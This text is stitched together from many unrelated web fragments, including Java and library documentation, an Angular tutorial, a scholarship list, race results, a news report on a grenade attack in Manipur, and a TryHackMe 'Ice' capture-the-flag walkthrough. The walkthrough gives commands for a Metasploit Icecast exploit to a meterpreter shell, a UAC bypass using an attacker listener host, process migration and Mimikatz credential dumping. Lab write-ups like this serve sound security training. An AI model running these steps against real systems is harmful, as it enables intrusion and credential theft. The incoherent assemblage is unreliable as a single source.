Java is an object-oriented programming language. It not only absorbs the various advantages of the C++ language, but also eliminates the concepts of multiple inheritance and pointers that are difficult to understand in C++. Therefore, the Java language is powerful and easy to use.
As a representative of static object-oriented programming languages, the Java language implements object-oriented theory very well, allowing programmers to perform complex programming in an elegant way.
Java is characterized by simplicity, object-oriented, distributed, robustness, security, platform independence and portability, multi-threading, and dynamics. Java can write desktop applications, web applications, distributed systems, and embedded system applications.
The Java Development Kit (JDK) is called a Java development kit or a Java development tool. It is a program development environment for writing applet applets and applications.
The JDK is the core of the entire Java, including the Java Runtime Environment (Java Runtime Envirnment), some Java tools and Java's core class library (Java API). No matter what Java application server is actually built a certain version of the JDK.
The mainstream JDK is the JDK released by Sun. In addition to Sun, many companies and organizations have developed their own JDKs, such as JDK developed by IBM, Jrocket of BEA, and JDK developed by GNU.
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It consists of four aspects:
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- Java virtual machine
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Hello world
public static void main(String args[]){
System.out.println("Hello World!");
}
Variable assignment
int a = 1;
Initialization object
public Cat cat = new Cat();
cycle
for(int i = 0; i < 100; ++i){
System.out.println(i);
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Compute channel features at a single scale given an input image. Compute the channel features as described in: P. Dollár, Z. Tu, P. Perona and S. Belongie "Integral Channel Features", BMVC 2009. Channel features have proven very effective in sliding window object detection, both in terms of *accuracy* and *speed*. Numerous feature types including histogram of gradients (hog) can be converted into channel features, and overall, channels are general and powerful. Given an input image I, a corresponding channel is a registered map of I, where the output pixels are computed from corresponding patches of input pixels (thus preserving overall image layout). A trivial channel is simply the input grayscale image, likewise for a color image each color channel can serve as a channel. Other channels can be computed using linear or non-linear transformations of I, various choices implemented here are described below. The only constraint is that channels must be translationally invariant (i.e. translating the input image or the resulting channels gives the same result). This allows for fast object detection, as the channels can be computed once on the entire image rather than separately for each overlapping detection window. Currently, three channel types are available by default (to date, these have proven the most effective for sliding window object detection): (1) color channels (computed using rgbConvert.m) (2) gradient magnitude (computed using gradientMag.m) (3) quantized gradient channels (computed using gradientHist.m) For more information about each channel type, including the exact input parameters and their meanings, see the respective m-files which perform the actual computatons (chnsCompute is essentially a wrapper function). The converted color channels serve as input to gradientMag/gradientHist. Additionally, custom channels can be specified via an optional struct array "pCustom" which may have 0 or more custom channel definitions. Each custom channel is generated via a call to "chns=feval(hFunc,I,pFunc{:})". The color space of I is determined by pColor.colorSpace, use the setting colorSpace='orig' if the input image is not an 'rgb' image and should be left unchanged (e.g. if I has multiple channels). The input I will have type single and the output of hFunc should also have type single. "shrink" (which should be an integer) determines the amount to subsample the computed channels (in applications such as detection subsamping does not affect performance). The params for each channel type are described in detail in the respective function. In addition, each channel type has a param "enabled" that determines if the channel is computed. If chnsCompute() is called with no inputs, the output is the complete default params (pChns). Otherwise the outputs are the computed channels and additional meta-data (see below). The channels are computed at a single scale, for (fast) multi-scale channel computation see chnsPyramid. An emphasis has been placed on speed, with the code undergoing heavy optimization. Computing the full set of channels used in the BMVC09 paper referenced above on a 480x640 image runs over *100 fps* on a single core of a machine from 2011 (although runtime depends on input parameters). USAGE pChns = chnsCompute() chns = chnsCompute( I, pChns ) INPUTS I - [hxwx3] input image (uint8 or single/double in [0,1]) pChns - parameters (struct or name/value pairs) .shrink - [4] integer downsampling amount for channels .pColor - parameters for color space: .enabled - [1] if true enable color channels .smooth - [1] radius for image smoothing (using convTri) .colorSpace - ['luv'] choices are: 'gray', 'rgb', 'hsv', 'orig' .pGradMag - parameters for gradient magnitude: .enabled - [1] if true enable gradient magnitude channel .colorChn - [0] if>0 color channel to use for grad computation .normRad - [5] normalization radius for gradient .normConst - [.005] normalization constant for gradient .full - [0] if true compute angles in [0,2*pi) else in [0,pi) .pGradHist - parameters for gradient histograms: .enabled - [1] if true enable gradient histogram channels .binSize - [shrink] spatial bin size (defaults to shrink) .nOrients - [6] number of orientation channels .softBin - [0] if true use "soft" bilinear spatial binning .useHog - [0] if true perform 4-way hog normalization/clipping .clipHog - [.2] value at which to clip hog histogram bins .pCustom - parameters for custom channels (optional struct array): .enabled - [1] if true enable custom channel type .name - ['REQ'] custom channel type name .hFunc - ['REQ'] function handle for computing custom channels .pFunc - [{}] additional params for chns=hFunc(I,pFunc{:}) .padWith - [0] how channel should be padded (e.g. 0,'replicate') .complete - [] if true does not check/set default vals in pChns OUTPUTS chns - output struct .pChns - exact input parameters used .nTypes - number of channel types .data - [nTypes x 1] cell [h/shrink x w/shrink x nChns] channels .info - [nTypes x 1] struct array .name - channel type name .pChn - exact input parameters for given channel type .nChns - number of channels for given channel type .padWith - how channel should be padded (0,'replicate') EXAMPLE - default channels I=imResample(imread('peppers.png'),[480 640]); pChns=chnsCompute(); tic, for i=1:100, chns=chnsCompute(I,pChns); end; toc figure(1); montage2(cat(3,chns.data{:})); EXAMPLE - default + custom channels I=imResample(imread('peppers.png'),[480 640]); pChns=chnsCompute(); hFunc=@(I) 5*sqrt(max(0,max(convBox(I.^2,2)-convBox(I,2).^2,[],3))); pChns.pCustom=struct('name','Std02','hFunc',hFunc); pChns.complete=0; tic, chns=chnsCompute(I,pChns); toc figure(1); im(chns.data{4}); See also rgbConvert, gradientMag, gradientHist, chnsPyramid Piotr's Computer Vision Matlab Toolbox Version 3.23 Copyright 2014 Piotr Dollar & Ron Appel. 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| bool | isInitialized () const |
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| void | init () |
| Initialization. Multiple calls is allowed. | |
| void | fini () |
| Finalization. Multiple calls is allowed. | |
| details::HPGuard & | allocGuard () |
Initializes HP guard guard . | |
| void | freeGuard (details::HPGuard &guard) |
Frees HP guard guard . | |
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| void | allocGuard (details::HPArray< Count > &arr) |
Initializes HP guard array arr . | |
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| void | freeGuard (details::HPArray< Count > &arr) |
Frees HP guard array arr . | |
| void | retireNode (ContainerNode *pNode, details::HPGuard &hp, details::free_retired_ptr_func pFunc) |
Retire (deferred delete) node pNode guarded by hp hazard pointer. | |
| void | retireNode (ContainerNode *pNode, details::free_retired_ptr_func pFunc) |
Retire (deferred delete) node pNode . Do not use this function directly! | |
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| void | cleanUpLocal () |
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To use HRC reclamation schema each thread object must be linked with the object of ThreadGC class that interacts with GarbageCollector global object. The linkage is performed by calling cds::threading Manager::attachThread()
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First, let's work on the looks a bit, this is not a CSS class so we'll simply use one of the many frameworks to make our life easier, I've chosen Semantic UI
greatest advantage: you can more or less understand it if you've never seen it, an example
<form class="ui large form segment">

Add a Recipe

Name:
<input name="name">

</form>
src/styles.css
@import './3rdParty/semantic.min.css';
'global' css files should be imported in styles.css
src/app/add-recipe/add-recipe.component.html
<form class="ui large form segment">

Add recipe

Name:
<input id="name" name="name">

</form>
let's try it
src/app/add-recipe/add-recipe.component.html
<form class="ui large form segment">

Add recipe

Name:
<input id="name" name="name" #newrecipename>

<button (click)="addRecipe(newrecipename)"
class="ui positive right floated button">
add recipe
</button>
</form>
an event, between '()'
is linked to an action, note that once again the contents of the string will be interpreted
we use this 'hashtag' syntax to populate a template variable of our input field
and then pass that variable to our function
the #newrecipe is a local variable
src/app/add-recipe.component.ts
addRecipe(newRecipeName: HTMLInputElement) : boolean {
console.log(newRecipeName.value);
return false;
}
"hashtag fields" are basic DOM HTMLInputElements
use .value to access the contents
event handlers return a boolean, true if you want to propagate the event to other handlers, false to "eat" the event
to make this addRecipe functional, we need a way to represent a recipe, using some strings won't suffice
src/app/recipe/recipe.model.ts
export class Recipe {
private _name: string;
private _ingredients = new Array<string>();
private _directions = new Array<string>();
constructor(name: string) {
this._name = name;
}
get name() : string {
return this._name;
}
addIngredient(name: string, amount?: number, unit?: string) {
this._ingredients.push(`${amount || 1} ${unit || ""} ${name}`);
}
}
pretty basic private members, with setters and getters (not everything shown here)
you can specify optional arguments explicitly in typescript, with a '?'
note that you can initalize properties immediately, don't explictly add a type if you do
src/add/recipe/recipe.component.ts
import { Recipe } from './recipe.model';
export class RecipeComponent implements OnInit {
private _recipe: Recipe;
constructor() {
this._recipe = new Recipe("spaghetti");
this._recipe.addIngredient("tomato", 0.75, "liter");
this._recipe.addIngredient("onion", 2);
this._recipe.addIngredient("minced meat", 500, "grams");
}
first we need to import the model class into our component
then remove the string properties and replace them with the model
if you'd try this, nothing would show, the html still references 'name' and 'ingredients'
src/add/recipe/recipe.component.html

recipe for {{recipe.name}}

src/add/recipe/recipe.component.ts
export class RecipeComponent implements OnInit {
get name() : string {
return this._recipe.name;
}
adapt the html to use properties of the model
add accessors to our component
we will go with 1, adapting the html
src/app/recipe/recipe.component.ts
export class RecipeComponent implements OnInit {
@Input() public recipe: Recipe;
constructor() {
}
}
so we need an input
and empty our constructor
@Input() properties should be public (semantically correct, dynamic creation of components, AOT compiling)
src/app/app.component.ts
import { Recipe } from './recipe/recipe.model';
export class AppComponent {
private _recipes = new Array<Recipe>();
constructor() {
let recipe1 = ...
let recipe2 = ...
this._recipes.push(recipe1);
this._recipes.push(recipe2);
}
}
nothing new really
make sure you got the correct include for the model class
declare and define a private array property to the component
and finally add some data
src/add/app.component.html

<app-add-recipe></app-add-recipe>

<app-recipe *ngFor="let localRecipe of recipes"
[recipe]="localRecipe">
</app-recipe>

*ngFor over our recipes, storing each iteration in the localRecipe loop variable
use that variable and assign it to the @Input recipe property of recipe component (using [])
and throw some semantic ui css classes in there too
src/app/add-recipe.component.ts
import { Component, Output, EventEmitter } from '@angular/core';
import { Recipe } from '../recipe/recipe.model';
export class AddRecipeComponent {
@Output() public newRecipe = new EventEmitter<Recipe>();
addRecipe(newRecipeName: HTMLInputElement) : boolean {
let recipe = new Recipe(newRecipeName.value);
this.newRecipe.emit(recipe);
return false;
}
}
this time we don't want to receive something from another component, but send something to one: @Output property
@Output's are of type EventEmitter, we add the generic specification of <Recipe>, we're sending Recipe objects
sending such data is done by calling the emit method on the emitter
with a recipe we created from the HTMLInputElement we passed earlier
don't forget to include everything you need
add-recipe.component.html doesn't change (it was already calling this addRecipe function, nothing changed)
src/app/app.component.html

<app-add-recipe (newRecipe)="newRecipeAdded($event)"></app-add-recipe>

<app-recipe *ngFor="let recipe of recipes" [recipe]="recipe">
</app-recipe>

you should see the creation of a new recipe as an event (it comes from an EventEmitter after all), similar to a click happening, so ()
and then add a handler to it, a function on app.component.ts that will be called when the event happens
src/app/app.component.ts
newRecipeAdded(recipe) {
this._recipes.push(recipe);
}
we simply push the parameter to the list, the event parameter is a Recipe object
remember, we created the EventEmitter as EventEmitter<Recipe>, so it emits recipes
ng generate service RecipeData
installing service create src/app/recipe-data.service.spec.ts create src/app/recipe-data.service.ts WARNING Service is generated but not provided, it must be provided to be used
note that no html nor css is created, a service is not something that will be shown
components were automatically added to the module, and useable immediately, the warning tells you this isn't the case for services
services are typically only needed in a few components, and the cli can't know which ones, so you have to add it yourself
src/app/recipe-data.service.ts
import { Injectable } from '@angular/core';
@Injectable()
export class RecipeDataService {
constructor() { }
}
not much here, once again a class with a decorator
now we decorate with @Injectable, this prepares the class to use it with Angular's own DI
let's move the recipe data from the app component to this class
src/app/recipe-data-service.ts
export class RecipeDataService {
private _recipes = new Array<Recipe>();
constructor() {
let recipe1 = ...
this._recipes.push(recipe1);
}
get recipes() : Recipe[] {
return this._recipes;
}
addNewRecipe(recipe) {
this._recipes.push(recipe);
}
}
simple cut and paste, for now
don't forget to import the Recipe declaration
now let's replace the property in the app component with references to this service
src/app/app.component
@Component({
providers: [RecipeDataService]
})
export class AppComponent {
private _recipes: Recipe[];
constructor(private _recipeDataService : RecipeDataService) {
this._recipes = this._recipeDataService.recipes;
}
newRecipeAdded(recipe) {
this._recipeDataService.addNewRecipe(recipe);
}
}
add your injectable service to the providers list in the component decorator
add a parameter of this type to the constructor of your component
that's it, that will create and inject the service
remember, by adding private to the constructor argument, you also declare the property immediately
then simply use the public functions from your service i.s.o. defining everything inside the app component
note that if you use this service in many components, only one will be created and shared by the DI system


2011, a gathering happened among friends after 10 years of their campus life. When about to disburse, they decided to do something helpful as a team for the society. The idea to educate the less fortunate students creep amoung the group and we started "Mithr Scholarship"
Details of winners(Amount given in brackets)
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2. BTec student @ IES Engg. College, Thrissur(35000/-)
3. Plus 1 student @ St. Antony's, Pudukad(5000/-)
4. SSLC student @ St. Joseph's school, Thrissur(5000/-)
5. SSLC student @ Sarvodayam HSS, Thrikkur(3000/-)
6. SSLC student @ Deepthi HS, Thalore(5000/-)
7. Std-7 student @ Deepthi HS, Thalore(5000/-)
8. Std-9 student @ St. Josephs, Thrissur (10000/-)
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2. SSLC student @ Sarvodayam, Thrikkur (1,200/-)
3. Plus 2 student @ Vimala Central HSS, Irinjalakuda (5,000/-)
4. Std-9 student @ Sarvodayam HSS, Thrikkur (1,200/-)
5. Plus 1 student @ St. Joseph HSS, Thrissur(5,000/-)
6. SSLC student @ St. Josephs HSS, Thrissur (9,200/-)
7. Plus 2 student @ St. Antony's, Pudukad (3,600/-)
Details of scholarship for this year...
1. Nursing student @ Amala School of Nursing,Thrissur (25,000/-)
2. Plus 2 student @ Pudukad Govt. (7,500/-)
3. Ploy Technic student @ Alagappa Poly, Amballur (5,000/-)
4. BBA student @ Naipinya Institute of Technology, Chalakudy (24,000/-)
5. BSc (Travel&Tourism) student @ Nirmala Institute of Technology, Chalakudy (24,000/-)
Invited applications for coming academic year.
Also continuing with the students selected in previous year.


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| IMessage |
It is the blue print of class which contain push notification message
It exposes APIs to Get and Set push notification message
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| INotification |
It is a blue print for classes which handle the push notification
It exposes APIs to handle push notification such as do registration, do unregistraton
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| IRegistration |
It is a blue print for classes which contain push notification information
It exposes APIs to Get and Set push notification information
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Type Function Library native.* Return value Boolean Revision Current Public Release (2013.2076) Keywords email, sms, text message, store, show popup Sample code /CoronaSDK/SampleCode/Networking/ComposeEmailSMS See also Composing E-mail and SMS (tutorial)
Displays the operating system's default popup window for a specified service.
This function returns a Boolean indicating whether the popup was displayed or not. If it returns false
, then the popup was not available or the service was not available for the device.
Passing in "mail"
or "sms"
will display a popup window for composing an E-mail or SMS message respectively.
For a walk-through on how to use this feature, please see the Composing E-mail and SMS tutorial.
On iOS, these popups are displayed within the app. On Android, the app is suspended while these popups are displayed.
Passing in "appStore"
will display a popup window from the app store that the application was downloaded from. It will display the app's details such as summary, an option to purchase (if not done already), and the option to write a review. This can be used to display the details of the currently running app or another app that you wish to advertise to the end-user.
Passing in "rateApp"
will display the "Write Review" popup window from the iTunes App Store for iOS 5 and older iOS versions. This bypasses the app details on iTunes so that the end-user can easily rate the app. On iOS 6 or any other app store, the app's details popup window will be displayed instead, just like how it is done when passing in "appStore"
to this function. This is because the other app stores do not support bypassing the app details view.
Only the following app stores are supported. A popup window will not be displayed for any other app store.
Note that the iTunes App Store and the Nook App Store require the app ID and EAN to be set in the options table in order to display the popup. All other app stores do not require any additional information.
Also, note that displaying this popup suspends the app on both iOS and Android.
native.showPopup( name )
native.showPopup( name, options )
String. The string name of the popup to be shown. It can be one of the following: "mail"
, "sms"
, "appStore"
, or "rateApp"
.
Table. Table of parameters. Each property of the table is also optional. See Format for options below.
options
For the "mail"
popup, the following properties are supported:
options.to
is a single string or an array of strings. Each string is an e-mail address of a recipient.options.bcc
is a single string or an array of strings. Each string is an e-mail address of a bcc'd recipient.options.attachment
is a table of the form { baseDir=, filename= [, type=] }
. For the 'type' property, use an appropriate MIME type such as "image". To send multiple attachments, you must create an array of these tables.options.body
is a string for the main body of the e-mail.options.isBodyHtml
is a boolean indicating whether the e-mail is HTML. By default, plain text is assumed.options.subject
is a string.For the "sms"
popup, the following properties are supported:
options.to
is a single string or an array of strings. Each string is a phone number of the recipient.options.body
is a string for the main body of the e-mail.For the "appStore"
and "rateApp"
popup, the following properties are supported:
options.iOSAppId
is a string ID assigned to the app by the iTunes App Store.options.nookAppEAN
is a string ID assigned to the app by the Nook App Store.options.androidAppPackageName
is the unique package name string of the Android app to be displayed by the Google Play, Amazon, or Samsung app stores. This property is optional. If you do not provide a package name, then Corona will use the currently running app's package name by default. You should only set this if you want to display the app store details of another app.options.supportedAndroidStores
is an array of strings indicating which app stores are supported on Android. This is needed in case the app was not installed by an app store so that Corona knows which app store to display the popup from. This is especially needed while testing and debugging the app. The following string names are supported:
"amazon"
"google"
"nook"
"samsung"
NOTE: This popup is only available on iOS (iOS 5 and after) because Apple offers native OS support via TWTweetComposeViewController
.
For the "twitter"
popup, the following properties are supported.
options.image
is a table of the form { baseDir=, filename= }
to the image you wish to post.options.message
is a string that prepopulates the message.options.listener
is a listener that supports popup events.options.url
is a string for the url you wish to post. Alternatively, this can be an array of url strings.If a popup supports listeners (and you pass a listener via options.listener
), then those listeners are dispatched popup events.
Unlike Corona SDK, the twitter popup is not pre-baked into Corona Enterprise. Instead, you must add the corresponding plugin to your iOS Xcode project in order to access the twitter popup. Specifically, you should add the static library located at: CoronaEnterprise/Plugins/native-popup-twitter/ios/libnative-popup-twitter.a
Show an E-mail popup with one file attachment:
local options =
{
to =<EMAIL_ADDRESS>subject = "My High Score",
body = "I scored over 9000!!! Can you do better?",
attachment = { baseDir=system.DocumentsDirectory, filename="Screenshot.png", type="image" },
}
native.showPopup("mail", options)
Show an HTML E-mail popup with multiple correspondents and attachments:
local options =
{
to = {<EMAIL_ADDRESS><EMAIL_ADDRESS>},
cc = {<EMAIL_ADDRESS><EMAIL_ADDRESS>},
subject = "My High Score",
isBodyHtml = true,
body = "I scored over 9000!!! Can you do better?",
attachment =
{
{ baseDir=system.DocumentsDirectory, filename="Screenshot.png", type="image" },
{ baseDir=system.ResourceDirectory, filename="MyLogo.png", type="image" },
},
}
native.showPopup("mail", options)
Show a simple SMS popup. User must select contacts in popup window:
local options =
{
body = "I scored over 9000!!! Can you do better?"
}
native.showPopup("sms", options)
Show an SMS popup with multiple recipients. You must use phone numbers.
local options =
{
to = { "1234567890", "9876543210" },
body = "I scored over 9000!!! Can you do better?"
}
native.showPopup("sms", options)
Show a popup for rating the app on the app store.
local options =
{
iOSAppId = "1234567890",
nookAppEAN = "0987654321",
supportedAndroidStores = { "google", "samsung", "amazon", "nook" },
}
native.showPopup("rateApp", options)
Show the app store details of another app that you wish to advertise.
local options =
{
iOSAppId = "1234567890",
nookAppEAN = "0987654321",
androidAppPackageName = "my.other.app.",
supportedAndroidStores = { "google", "samsung", "amazon", "nook" },
}
native.showPopup("appStore", options)


Hello my name is Matthew Wisniewski. I am from Hamilton New Jersey and I am 25 years old. I am currently a student at NJIT as an Information Systems major. I am also a full time employee for Geek Squad as an Advanced Repair Agent. I have been working there for about 5 years.
 I like to watch my favorite sport teams such as the New York Yankees and the New Jersey Devils. I also enjoy watching wrestling. My favorite Movies are Marvel and Star Wars movies. I also really enjoy listening to heavy metal music.
Right now I am expected to have a child in mid December of 2019. My goals are to finish college as fast as possible while maintaining a full time job to help provide for the family while in school. Once I am out of college I would like to start doing IT work at corporate level instead of a consumer level.


Ice
Deploy & hack into a Windows machine, exploiting a very poorly secured media server.
Windows CVERoom Description
Deploy & hack into a Windows machine, exploiting a very poorly secured media server. Find THM room here
Used Commands & Scripts
Scripts
post/multi/recon/local_exploit_suggester exploit/windows/local/bypassuac_eventvwr post/windows/manage/enable_rdp
Commands
sudo nmap -A -sS -oN logfile.txt -vv <target ip>
run post/multi/recon/local_exploit_suggester
Recon
Start enumaration with nmap sudo nmap -A -sS -oN logfile.txt -vv <target ip>
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-15 05:27 EDT
[...]
Not shown: 988 closed ports
Reason: 988 resets
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped syn-ack ttl 127
[...]
8000/tcp open http syn-ack ttl 127 Icecast streaming media server
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127
49159/tcp open unknown syn-ack ttl 127
49160/tcp open unknown syn-ack ttl 127
[...]
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
[...]
Read the log and you should find the following information:
- the port Microsoft Remote Desktop is running on
- the name of the service running on port 8000
- the hostname of the machine
Gain Access
Search an existing exploit on one of the exploit databases.
I used exploit-db and searched for icecast
.
Find multiple records but only two of them referring to remote code execution. If you look closely both referring the same CVE. Use cvedetails and use the first result for further investigation.
If you find a page showing a CVSS Score of 7.5
you are on the right page. Search for Vulnerability Type(s)
.
Metasploit
Open a new terminal and start msfconsole
. Search for icecast using search icecast
. What’s the full path of the exploit?
Follow the instructions of the room.
Use the exploit: use 0
Check the options: options
And set the missing parameters: set RHOSTS <target ip>
Finally, check the options again and make sure the parameters are set correctly. Then run the exploit with exploit
.
If everything went well you should end up with an opened meterpreter shell.
Escalate
Now, what should we do next? No idea? run post/multi/recon/local_exploit_suggester
in the current session. The result is a list of exploits the target seems to be vulnerable to.
To use one of the suggested exploits you first need to send the current meterpreter shell to the background by writing background
or pressing CTRL-Z
. I used CTRL-Z
.
Write down the path for the first exploit and use that exploit with:
use exploit/windows/local/bypassuac_eventvwr
Check the options again and set the parameters:
options
set SESSION 1
(usually this should be 1 but can vary)
set LHOST <attacker ip>
exploit
Continue with the room.
Looting
I find the Looting section on that room to be explained pretty simply. This is the reason why I’ll keep it compact.
Show all processes with ps
and find the described process name. The process you are searching for contains one of the words printer spool
service.
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
604 584 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
652 584 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
[...]
1316 1016 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe
1328 1304 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe
1368 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
[...]
Migrate to this process using migrate <process id>
. You can find the process id in the column PID
.
The migration process was successful when you gained higher permissions. Check this with getuid
in the newly created meterpreter session.
Continue with Mimikatz.
Load Mimikatz with load kiwi
and open the help menu with help
.
Kiwi Commands
is added to the help menu as part of the loading process.
Run the commands, play around and answer the questions.
Post-Exploitation
Use the help menu to answer the questions.


So I have this idea for a while: It would be cool if you could order all your friend in seperate groups, so that you can easier find someone, or know who someone is since the are guys that constantly change their name.
Pretty easy and small idea, hope you like it ;)
Thanks in advance,
xDeco
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It was integrated in the past, but i'm not going to integrate it again.
This is a area the constantly been changed by battlelog devs and with mostly every update it was broken, it frustrated me.


Club Championship 2023 Event 12
| Kibworth 10 |
27 June 23 |
|
10 |
miles |
| Name |
Position |
Road bike |
Actual Time |
Avg. mph |
| |
|
|
|
|
| Bernard
Galea |
1 |
|
00:21:23 |
28.06 |
| Hans van
Nierop |
2 |
|
00:21:41 |
27.67 |
| Gary
Roberts |
3 |
|
00:21:50 |
27.48 |
| Jonathan
Durnin |
4 |
|
00:22:15 |
26.97 |
| Andy
Poulton |
5 |
|
00:22:33 |
26.61 |
| Ed
Grandidge |
6 |
|
00:22:47 |
26.34 |
| Matt
Plews |
7 |
|
00:22:48 |
26.32 |
| Mark
Weathersby |
8 |
1 |
00:22:51 |
26.26 |
| Maciej
Suchocki |
9 |
|
00:23:01 |
26.07 |
| Rhys
Thomas |
10 |
2 |
00:23:17 |
25.77 |
| Austin
Smith |
11 |
|
00:23:21 |
25.70 |
| Lawrence
Cox |
12 |
|
00:23:52 |
25.14 |
| Doug
Tincello |
13 |
|
00:23:57 |
25.05 |
| Nick
Clarke |
14 |
|
00:24:17 |
24.71 |
| Richard
Chapman |
15 |
|
00:24:19 |
24.67 |
| Adrian
Killworth |
16 |
|
00:24:37 |
24.37 |
| Richard
Latimer |
17 |
3 |
00:24:42 |
24.29 |
| Chris
Dainty |
18 |
|
00:24:48 |
24.19 |
| Tom
Reynolds |
19 |
4 |
00:24:55 |
24.08 |
| Roger
Kockelbergh |
20 |
|
00:25:07 |
23.89 |
| Gary
Ashwell |
21 |
|
00:25:12 |
23.81 |
| Ian
Murdey |
22 |
|
00:25:24 |
23.62 |
| Simon
Ward |
23 |
|
00:25:29 |
23.54 |
| Steven
Coulam |
24 |
|
00:26:13 |
22.89 |
| Chris
Bonsor |
25 |
5 |
00:26:19 |
22.80 |
| Milly
Pinnock |
26 |
6 |
00:26:50 |
22.36 |
| Mitchell
James |
27 |
|
00:27:52 |
21.53 |
| Judith
Rout |
28 |
7 |
00:28:49 |
20.82 |
| Chris
Law |
29 |
8 |
00:28:53 |
20.77 |
| Jax
Roberts |
30 |
9 |
00:28:59 |
20.70 |
| Jane
Moore |
31 |
10 |
00:29:02 |
20.67 |
| John
Welsford |
32 |
11 |
00:29:12 |
20.55 |
| Vic
Barnett |
33 |
12 |
00:29:16 |
20.50 |
| Debbie
Ward |
34 |
13 |
00:30:18 |
19.80 |
| Sophie
Ward |
35 |
|
00:31:08 |
19.27 |
| Julian
Middleton |
36 |
|
00:31:51 |
18.84 |
| Amanda
McPherson |
37 |
14 |
00:32:27 |
18.49 |
| Chris
Dunkley |
38 |
15 |
00:32:48 |
18.29 |
| Tom
Evans |
|
|
DNF |
|
| Anna
Roberts |
|
|
DNS |
|
| William
Cull |
|
|
DNS |
|
| Ray
Taylor |
|
|
DNS |
|
| Stuart
Haycox |
|
|
DNS |
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|


Customer Name:
FULL Name:
Job Title:
Main Phone:
Work Phone:
Mobile:
Fax:
Main Mail:
CC Mail:
Address Ship To:
Address Bill To:
Remark:
Submit
Close


dconf-service - D-Bus service for writes to the dconf database
The dconf-service program provides the ca.desrt.dconf name on the session or system bus. Users or administrators should never need to start the service, as it will be automatically started by dbus-daemon(1) whenever an application tries to write settings.
Reading values from the dconf database does not involve the service; it is only needed for writes. The service is stateless and can exit freely at any time (and is therefore robust against crashes).
dconf(7), dbus-daemon(1), systemd(1)


Class ArucoGridBoard
Describes an ArUco grid board.
Inheritance
System.Object
UnityEngine.Object
UnityEngine.Component
UnityEngine.Behaviour
UnityEngine.MonoBehaviour
ArucoGridBoard
Inherited Members
Namespace: ArucoUnity.Objects
Assembly: Assembly-CSharp.dll
Syntax
public class ArucoGridBoard : ArucoBoard
Properties
| Improve this Doc View SourceMarkerSeparation
Gets or sets the separation between two consecutive markers in the grid. In pixels for Creators. In meters for Trackers and Calibrators.
Declaration
public float MarkerSeparation { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Single |
MarkersNumberX
Gets or sets the number of markers in the X direction.
Declaration
public int MarkersNumberX { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
MarkersNumberY
Gets or sets the number of markers in the Y direction.
Declaration
public int MarkersNumberY { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
MarkersUsedForEstimation
Gets or sets the number of markers employed by the tracker the last frame for the estimation of the transform of the board.
Declaration
public int MarkersUsedForEstimation { get; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
Methods
| Improve this Doc View SourceDraw()
Declaration
public override Cv.Mat Draw()
Returns
| Type | Description |
|---|---|
| Cv.Mat |
Overrides
| Improve this Doc View SourceGenerateName()
Declaration
public override string GenerateName()
Returns
| Type | Description |
|---|---|
| System.String |
Overrides
| Improve this Doc View SourceGetArucoHashCode(Int32, Int32, Single, Single)
Computes the hash code of a grid board.
Declaration
public static int GetArucoHashCode(int markersNumberX, int markersNumberY, float markerSideLength, float markerSeparation)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | markersNumberX | The number of markers in the X direction. |
| System.Int32 | markersNumberY | The number of markers in the Y direction. |
| System.Single | markerSideLength | The side length of each marker. |
| System.Single | markerSeparation | The separation between two consecutive markers in the grid. |
Returns
| Type | Description |
|---|---|
| System.Int32 | The calculated ArUco hash code. |
GetGameObjectScale()
Declaration
public override Vector3 GetGameObjectScale()
Returns
| Type | Description |
|---|---|
| UnityEngine.Vector3 |
Overrides
| Improve this Doc View SourceUpdateArucoHashCode()
Declaration
protected override void UpdateArucoHashCode()
Overrides
| Improve this Doc View SourceUpdateBoard()
Declaration
protected override void UpdateBoard()


Step 1: This circle represents bananas. Think of it as a container for all the capabilities needed to extract and transport bananas.
Step 2: Bananas are lucrative, but the capabilities needed to extract it can't be used to make many other products. That's why bananas are a low opportunity product.
Step 3: Here we arrange products by the similarity of the capabilities required in their production, given international patterns. 's current exports are circled in blue. Follow the links from those exports to see more products that could start exporting.
Step 4: But doesn't just want more products, it wants complex products that require sophisticated capabilities that are not common to many countries. This is not the case of bananas, which is produced by almost every country that has banana trees. We shade products green by their complexity—that is, how many countries export them.


Manipur: Two CRPF personnel injured in grenade attack
The blast comes a day after militants attacked a camp of the Assam Rifles in Chandel district.
by Jimmy LeivonTwo CRPF jawans sustained injuries in a grenade attack near Manipur Legislative Assembly’s western gate, Imphal West, on Friday evening.
The blast comes a day after militants attacked a camp of the Assam Rifles in Chandel district.
The police said the grenade exploded around 5.25 pm when the two jawans were on duty near the Assembly. The injured personnel have been admitted to Regional Institute of Medical Sciences, Lamphel. They are reported to be out of danger.
The injured were identified as a 40-year-old G C Raba, a resident of Assam and 37-year-old Yadav Munna, a resident of West Bengal. The jawans who are originally posted in Jiribam, were currently deployed in Imphal owing to the unrest prevailing in the wake of the yet-to-be signed Indo-Naga peace deal.
The police have recovered a lever of the bomb near the blast site. Local residents of the area strongly denounced the attack near residential areas that could put the life of civilians at risk.
They also drew the attention of the government seeking to not deploy security personnel in residential areas to avoid civilian casualties. While it is yet to be ascertained who is behind the attack, the police have registered an FIR in connection with the incident.


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Guidance
Data showing proportion of delivery within provider’s local authority and region.
